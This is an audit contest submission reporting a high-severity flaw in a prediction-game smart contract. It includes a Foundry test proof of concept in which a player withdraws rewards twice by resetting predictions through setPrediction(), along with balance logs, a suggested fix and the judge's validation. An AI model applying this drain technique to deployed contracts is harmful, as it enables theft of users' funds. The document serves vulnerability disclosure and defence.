Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

A single player can reclaim its rewards until the contract is drained

Summary

A player can exploit the vulnerability in withdraw() and can call withdraw mutiple times until the contract is drained.

Vulnerability Details

The method withdraw() depends on scoreBoard.isEligibleForReward() to check if the rewards are sent or not. This method uses clearPredictionsCount() to set the playersPredictions[player].predictionsCount = 0; But the player can call setPrediction() to repopulate predictionsCount and call withdraw() again.

Impact

The whole contract will be drained by a single player if the vulnerability is exploited.

POC

function test_canWithdrawRewardsTwice() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger);
console.log("Player balance before withdraw: ",stranger.balance);
console.log("Withdrawing");
thePredicter.withdraw();
console.log("Player balance after withdraw: ",stranger.balance);
assertEq(stranger.balance, 0.9997 ether);
scoreBoard.setPrediction(stranger, 1, ScoreBoard.Result.Pending);
console.log("Player balance before withdraw: ",stranger.balance);
console.log("Withdrawing");
thePredicter.withdraw();
console.log("Player balance after withdraw: ",stranger.balance);
vm.stopPrank();
assertEq(stranger.balance, 1.0397 ether);
}

Logs

Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] test_canWithdrawRewardsTwice() (gas: 718202)
Logs:
Player balance before withdraw: 959700000000000000
Withdrawing
Player balance after withdraw: 999700000000000000
Player balance before withdraw: 999700000000000000
Withdrawing
Player balance after withdraw: 1039700000000000000

Tools Used

VS Code

Recommendations

Revert setPrediction() method if the timestamp is past the voting deadline as below

function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert INVALID__ACTION();
}
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Multiple withdrawals are possible

`ThePredicter.withdraw` combined with `ScoreBoard.setPrediction` allows a player to withdraw rewards multiple times leading to a drain of funds in the contract.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.